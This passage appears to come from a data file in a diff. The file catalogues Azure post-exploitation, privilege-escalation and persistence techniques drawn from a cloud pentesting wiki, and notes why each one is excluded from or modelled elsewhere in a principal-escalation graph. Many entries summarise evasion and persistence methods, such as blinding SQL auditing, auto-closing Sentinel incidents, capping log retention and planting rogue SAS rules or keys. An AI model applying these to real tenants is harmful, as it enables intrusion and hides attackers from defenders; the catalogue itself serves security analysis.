another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespaceswrite---disable-local-auth-lock-out-disablelocalauthtrue + technique: Microsoft.ServiceBus/namespaces/write - Disable local auth lock-out (disableLocalAuth=true) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line,. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqllocationsconnectionpoliciesazureasyncoperationread-microsoftsqlserversconnectionpoliciesread--microsoftsqlserversconnectionpolicieswrite + technique: Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write + source_revision: a66f094ede + reason: Force the server's connection policy to Proxy so all client connections are routed through the Azure SQL gateway instead of + direct-to-node (Redirect) → changes the network path (useful for. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesread-microsoftsqlserversread--microsoftsqlserversdatabaseswrite + technique: Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesexportaction + technique: Microsoft.Sql/servers/databases/export/action + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabaseswrite-createmode-secondarycopy--microsoftsqlserversfailovergroupswrite + technique: Microsoft.Sql/servers/databases/write (createMode Secondary/Copy) && Microsoft.Sql/servers/failoverGroups/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesimportaction + technique: Microsoft.Sql/servers/databases/import/action + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasestransparentdataencryptionwrite-microsoftsqllocationstransparentdataencryptionazureasyncoperationread-microsoftsqlserversdatabasestransparentdataencryptionread + technique: Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, + Microsoft.Sql/servers/databases/transparentDataEncryption/read + source_revision: a66f094ede + reason: Toggle TDE per database. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversauditingsettingsread--microsoftsqlserversauditingsettingswrite + technique: Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write + source_revision: a66f094ede + reason: Disable or reconfigure SQL auditing → blind the primary data-plane detection control before running queries, exfiltrating + or tampering with data (defense evasion). The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversadvancedthreatprotectionsettingswrite--microsoftsqlserverssecurityalertpolicieswrite + technique: Microsoft.Sql/servers/advancedThreatProtectionSettings/write && Microsoft.Sql/servers/securityAlertPolicies/write + source_revision: a66f094ede + reason: disable Microsoft Defender for SQL / Advanced Threat Protection — the behavioural anomaly and threat-alert layer (SQL injection, + anomalous login, potential data-exfiltration alerts). The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesledgerdigestuploadsdisableaction-microsoftsqllocationsledgerdigestuploadsazureasyncoperationread-microsoftsqllocationsledgerdigestuploadsoperationresultsread + technique: Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, + Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read + source_revision: a66f094ede + reason: Disable automatic ledger digest uploads → stop the tamper-evidence anchor from being published, so subsequent modifications + to ledger tables can no longer be cryptographically proven/verified (defeats. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverselasticpoolswrite--microsoftsqlserverselasticpoolsread + technique: Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read + source_revision: a66f094ede + reason: Create/resize elastic pools and move databases in/out → resource and cost manipulation, and potential noisy-neighbor DoS by + starving pooled databases of DTU/vCore. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverskeyswrite--microsoftsqlserverskeysread + technique: Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read + source_revision: a66f094ede + reason: Registering a SQL TDE key enables a key-revocation outage; it does not produce another principal's token or role. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesread--microsoftstoragestorageaccountstableservicestablesentitiesread + technique: Microsoft.Storage/storageAccounts/tableServices/tables/read | Microsoft.Storage/storageAccounts/tableServices/tables/entities/read + source_revision: a66f094ede + reason: Enumerate tables and read their entities → exfiltrate whatever they store (often config, tokens, PII, application state). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitieswrite--microsoftstoragestorageaccountstableservicestablesentitiesaddaction--microsoftstoragestorageaccountstableservicestablesentitiesupdateaction + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action + | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action + source_revision: a66f094ede + reason: Table entity writes can change application authorization data only when a specific application trusts those fields; no Azure/Entra + principal or consumer binding is identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitiesdelete + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/delete + source_revision: a66f094ede + reason: 'Destructive: delete table entities → data loss and disruption of applications that depend on the removed rows. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#code-injection-via-microsoftwebsites-write-operations + technique: Code injection via Microsoft.Web/sites/ write operations + source_revision: a66f094ede + reason: This parent section explains config/write code execution; azure-appservice-config-write-code-execution and related App Service + entries model its concrete permission variants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountspython3packageswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/python3Packages/write, Microsoft.Automation/automationAccounts/runbooks/write, + Microsoft.Automation/automationAccounts/runbooks/draft/content/write, Microsoft.Automation/automationAccounts/runbooks/publish/action, + Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsmoduleswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/modules/write, Microsoft.Automation/automationAccounts/runbooks/write, Microsoft.Automation/automationAccounts/runbooks/draft/content/write, + Microsoft.Automation/automationAccounts/runbooks/publish/action, Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-enumeration-tools.md#azure-resource-graph-quiet-cross-subscription-inventory + technique: 'Azure Resource Graph: quiet cross-subscription inventory' + source_revision: a66f094ede + reason: 'Minimum permissions: Microsoft.ResourceGraph/resources/read (isDataAction=false) — effectively granted by every reader-class + role. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#applications-and-service-principals + technique: Applications and Service Principals + source_revision: a66f094ede + reason: Adds an attacker-controlled client secret or certificate to an existing (privileged) application, allowing sign-in as that + app/SP indefinitely with its Graph/API permissions — which may exceed the operator's own…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-analysis-services-persistence.md#data-model-role-tampering-for-persistence + technique: Data-model role tampering for persistence + source_revision: a66f094ede + reason: The server admin changes tabular-model members for persistent Analysis Services data access; it does not obtain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#backdoor-an-existing-runbook + technique: Backdoor an existing runbook + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#malware-on-a-vm-in-a-hybrid-runbook-worker-group + technique: Malware on a VM in a Hybrid Runbook Worker group + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#compromise-external-repositories + technique: Compromise external repositories + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#watcher-tasks-sub-schedule-floor-recurring-execution + technique: 'Watcher tasks: sub-schedule-floor recurring execution' + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#schedules-and-webhooks + technique: Schedules and webhooks + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-batch-persistence.md#interactive-admin-persistence-via-compute-node-user--remote-login-data-plane + technique: Interactive admin persistence via compute-node user + remote login (data-plane) + source_revision: a66f094ede + reason: This creates a local administrator login on a Batch compute node; Azure/Entra identity gain requires an attached managed identity + and is modelled by the Batch node execution entries. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-explorer-persistence.md#data-plane-add-databasecluster-admins--persistence-that-evades-arm-review + technique: Data-plane .add database/cluster admins — persistence that evades ARM review + source_revision: a66f094ede + reason: Data Explorer native admin membership grants the service data plane, but does not impersonate another Azure/Entra principal; + ARM principal-assignment variants are modelled in data_explorer.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#permanent-suppression-rule-scoped-to-your-source + technique: Permanent suppression rule scoped to your source + source_revision: a66f094ede + reason: A rule with no expirationDateUtc lives until deleted and creates matching alerts already-Dismissed forever — never emailed, + exported, or sent to Sentinel; scope to an attribute you control long-term (egress CIDR, a…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#auto-provisioning-off--born-blind-new-resources + technique: Auto-provisioning off — born-blind new resources + source_revision: a66f094ede + reason: Future VMs never receive the MDE / Azure Monitor agent, so any infrastructure deployed later is uninstrumented from creation + with no per-host tampering. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#continuous-export-gap + technique: Continuous-export gap + source_revision: a66f094ede + reason: Narrow (rather than delete) a continuous-export automation's scopes/sources to exclude your RG or alert types; alerts still + show in the portal (nothing looks broken) but never reach the SIEM. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#silenced-notifications + technique: Silenced notifications + source_revision: a66f094ede + reason: Set alertNotifications.minimalSeverity to High and turn role notifications off, so Medium/Low alerts about your activity generate + but never page anyone. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#plan-downgrade-held-in-place-by-azure-policy + technique: Plan downgrade held in place by Azure Policy + source_revision: a66f094ede + reason: Pin a plan on Free (or the per-account Defender-for-Storage opt-out) with an Azure Policy that re-asserts it whenever posture + management tries to re-enable it — the blindness self-heals and looks like governance. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-deployment-stacks-persistence.md#deny-settings-lockout-without-denyassignmentswrite-anti-remediation-persistence + technique: Deny-settings lockout without denyAssignments/write (anti-remediation persistence) + source_revision: a66f094ede + reason: create a stack with denySettingsMode = denyWriteAndDelete (optionally denySettingsApplyToChildScopes) over managed resources. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#malicious-artifact-source-supply-chain-into-the-lab + technique: Malicious artifact source (supply-chain into the lab) + source_revision: a66f094ede + reason: registers an arbitrary attacker-controlled Git repo (GitHub / Azure Repos, authenticated by a PAT or the lab MI) as an artifact + source. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#standing-risk-dismissal-and-allow-listing + technique: Standing risk dismissal and allow-listing + source_revision: a66f094ede + reason: 'Keeps a compromised identity permanently ''not risky'': a retained token with the risky-user write scope dismisses risk whenever + it appears, and defining the operator egress range as a trusted named location makes that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-based-conditional-access + technique: Exclude a controlled principal from risk-based Conditional Access + source_revision: a66f094ede + reason: Adds a controlled account/group to the excludeUsers/excludeGroups of the sign-in-risk and user-risk CA policies, or lowers + the policy risk threshold / sets it report-only, so risk is still scored but never enforced —…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-remediation-requirements + technique: Exclude a controlled principal from risk remediation requirements + source_revision: a66f094ede + reason: Excludes the controlled account from a CA policy that forces risky users to self-remediate (password reset), so a stolen credential + stays usable indefinitely without ever triggering a forced reset. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md#federated-identity-credential-on-an-application + technique: Federated identity credential on an application + source_revision: a66f094ede + reason: 'Maintains long-term access as the application''s service principal: an attacker-controlled external OIDC workload (e.g. The + section documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#self-healing-persistence-via-applyandautocorrect + technique: Self-healing persistence via ApplyAndAutoCorrect + source_revision: a66f094ede + reason: durable, self-repairing foothold on the machine. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#retain-restorable-object-backups + technique: Retain restorable object backups + source_revision: a66f094ede + reason: A point-in-time copy of a credential that survives rotation, deletion and purge of the original. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#plant-attacker-known-key-material-with-keysimport-or-keyscreate + technique: Plant attacker-known key material with keys/import (or keys/create) + source_revision: a66f094ede + reason: Durable ability to reproduce, outside Azure, any cryptographic operation performed with a "vault-protected" key. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#mint-a-new-exportable-certificate-for-appsp-credential-persistence-certificatescreate + technique: Mint a new exportable certificate for app/SP credential persistence (certificates/create) + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#resurrect-a-soft-deleted-vault-under-attacker-controlled-access-createmoderecover + technique: Resurrect a soft-deleted vault under attacker-controlled access (createMode=recover) + source_revision: a66f094ede + reason: Recovery depends on a previously soft-deleted vault and attacker-readable secret contents; deleted-vault inventory is not + collected, so no deterministic target principal exists. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#backdoor-a-data-plane-principal + technique: Backdoor a data-plane principal + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#managed-hsm-local-rbac + technique: Managed HSM local RBAC + source_revision: a66f094ede + reason: Managed HSM has its own local RBAC plane that is completely separate from Azure RBAC. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#event-grid-notification-for-new-secret-versions + technique: Event Grid notification for new secret versions + source_revision: a66f094ede + reason: A durable, out-of-band feed telling the attacker the instant a credential is rotated, including the secret name and the new + version ID. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: Re-arm the built-in cluster admin / attacker Entra admin group (managedClusters/write) + source_revision: a66f094ede + reason: Re-enabling AKS local admin or changing its admin group is modelled by the AKS managedClusters/write cluster-admin entries + in kubernetes.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#table-plan-downgrade-held-in-place-by-policy + technique: Table plan downgrade held in place by Policy + source_revision: a66f094ede + reason: pin a table plan downgrade (Analytics -> Basic) with a DINE/Modify policy that re-asserts Basic on the target table, so the + scheduled analytics rules stay dead and any revert self-heals. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#diagnostic-setting--connector-gap-that-self-heals + technique: Diagnostic-setting / connector gap that self-heals + source_revision: a66f094ede + reason: remove the target's diagnostic setting / DCR association / Sentinel connector so telemetry never reaches the workspace, and + pin the removal with Azure Policy so recreation is denied or reverted — the most complete,…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#retention-floor + technique: Retention floor + source_revision: a66f094ede + reason: durably cap workspace/table retention and disable archive so future investigations cannot reach back — every day ages out + more of your activity; framed as a cost measure, it is rarely reverted. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#shared-key-ingestion-channel + technique: Shared-key ingestion channel + source_revision: a66f094ede + reason: a retained shared key is a long-lived Data Collector API credential to inject logs independent of Azure RBAC — survives loss + of your control-plane/RBAC access until the key is rotated. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md#workflow-access-context + technique: Workflow access context + source_revision: a66f094ede + reason: The backdoored workflow identity path is modelled by the Logic Apps workflow-write entries; the section summarizes retained + callbacks and workflow triggers. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#standing--cross-tenant-hidden-access-via-authorizations + technique: Standing / cross-tenant hidden access via authorizations + source_revision: a66f094ede + reason: Managed application authorizations confer RBAC only inside its managed resource group; the managed-applications entries cover + deployment identity paths. This section describes standing or JIT persistence in that bounded group. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#jit-jitrequests-eligible-role-access + technique: JIT (jitRequests) eligible-role access + source_revision: a66f094ede + reason: Managed application authorizations confer RBAC only inside its managed resource group; the managed-applications entries cover + deployment identity paths. This section describes standing or JIT persistence in that bounded group. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#deny-assignment-shielding-of-attacker-resources + technique: Deny-assignment shielding of attacker resources + source_revision: a66f094ede + reason: resources planted inside the MRG (a backdoor VM, automation, an identity) are protected by the auto-created deny assignment, + and deny assignments take precedence over allow role assignments — even a subscription…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#durable-telemetry-blindness + technique: Durable telemetry blindness + source_revision: a66f094ede + reason: 'Self-sustaining monitoring blind spots: a removed DCR association keeps a host un-monitored until someone notices that one + machine stopped reporting; a Deny Azure Policy on the diagnostic-setting write prevents the…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#autoscale-as-a-scheduler + technique: Autoscale as a scheduler + source_revision: a66f094ede + reason: 'An autoscale setting on a recurring schedule that changes capacity becomes a crude cron: combined with a custom-script / + VM extension deployment on scale-out, it re-provisions attacker workloads periodically. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-notification-hubs-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named authorization rule with Manage+Listen+Send, then list its keys. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-configuration-backdoors + technique: Self-healing configuration backdoors + source_revision: a66f094ede + reason: DINE policy re-installs footholds on every in-scope and future resource — a VM custom-script/extension (agent reinstall on + new/rebuilt VMs), an NSG egress rule, or a held diagnostic-setting removal to keep telemetry cut. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#deny-based-lockout--anti-remediation + technique: Deny-based lockout / anti-remediation + source_revision: a66f094ede + reason: a Deny policy blocks defenders from fixing things — deny recreation of a diagnostic setting you deleted or modification of + a resource you control, so remediation attempts fail and protect your other changes. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-role-grant-the-headline-technique + technique: Self-healing role grant (the headline technique) + source_revision: a66f094ede + reason: A remediation policy that recreates an RBAC grant is covered by the policy-assignment managed-identity and role-assignment + entries; this heading describes persistence of that grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#self-service-access-workflow-auto-approval + technique: Self-service-access workflow auto-approval + source_revision: a66f094ede + reason: Purview Workflows drive approvals for self-service data access and glossary/term changes. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#blindness-that-self-sustains + technique: Blindness that self-sustains + source_revision: a66f094ede + reason: Paused scans / narrowed scope keep freshly staged or exfiltrated data unclassified indefinitely, so it never surfaces on sensitivity + dashboards or Defender attack paths; a benign-looking schedule makes the gap look…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#long-lived-event-hubs-channel-via-listkeys + technique: Long-lived Event Hubs channel via listkeys + source_revision: a66f094ede + reason: Retained Event Hubs connection strings (atlashook, atlasentities) provide a durable send/receive channel into Purview's metadata + pipeline that keeps working until the namespace keys are rotated — independent of your…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named rule with Listen+Send+Manage at namespace, hybrid-connection, or WCF-relay scope, then + list its key. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#unauthenticated-tunnel-with-hybridconnectionswrite + technique: Unauthenticated tunnel with HybridConnections/write + source_revision: a66f094ede + reason: create/modify a hybrid connection. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#standing-auto-close-automation-rule + technique: Standing auto-close automation rule + source_revision: a66f094ede + reason: A durable automation rule that runs on incident creation and closes anything matching a stable attribute you control (SP object + id, egress IP, host) as BenignPositive — detections keep firing so nothing looks…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#analytics-rule-tampering-that-survives-review + technique: Analytics-rule tampering that survives review + source_revision: a66f094ede + reason: Embed a | where != "" exclusion in a busy built-in rule's KQL, or widen its incident grouping / suppressionDuration, so your + activity is permanently filtered/folded away without disabling anything — designed to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#watchlist-as-an-allow-list-backdoor + technique: Watchlist as an allow-list backdoor + source_revision: a66f094ede + reason: Add your identity/IP to an 'authorised admins' or 'known infrastructure' watchlist; every rule that joins that watchlist then + treats you as trusted — a durable allow-list backdoor that touches no rule. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#connector--ingestion-gap-held-in-place + technique: Connector / ingestion gap held in place + source_revision: a66f094ede + reason: A deleted data connector is reversible by an admin, so pin the underlying diagnostic-setting removal or table-plan downgrade + with Azure Policy so it re-applies after remediation — a durable telemetry blackout that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#self-minted-sas-authorization-rule-entra-independent-bearer-credential + technique: Self-minted SAS authorization rule (Entra-independent bearer credential) + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#durable-copy-through-a-new-topic-subscription + technique: Durable copy through a new topic subscription + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#database-access-context + technique: Database access context + source_revision: a66f094ede + reason: This heading summarizes existing SQL login and Entra-admin persistence. SQL server administrator assignment is modelled in + databases.yaml; retaining a SQL-only login does not impersonate Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#retain-storage-account-access-keys + technique: Retain storage account access keys + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#long-lived-sas-tokens + technique: Long-lived SAS tokens + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: 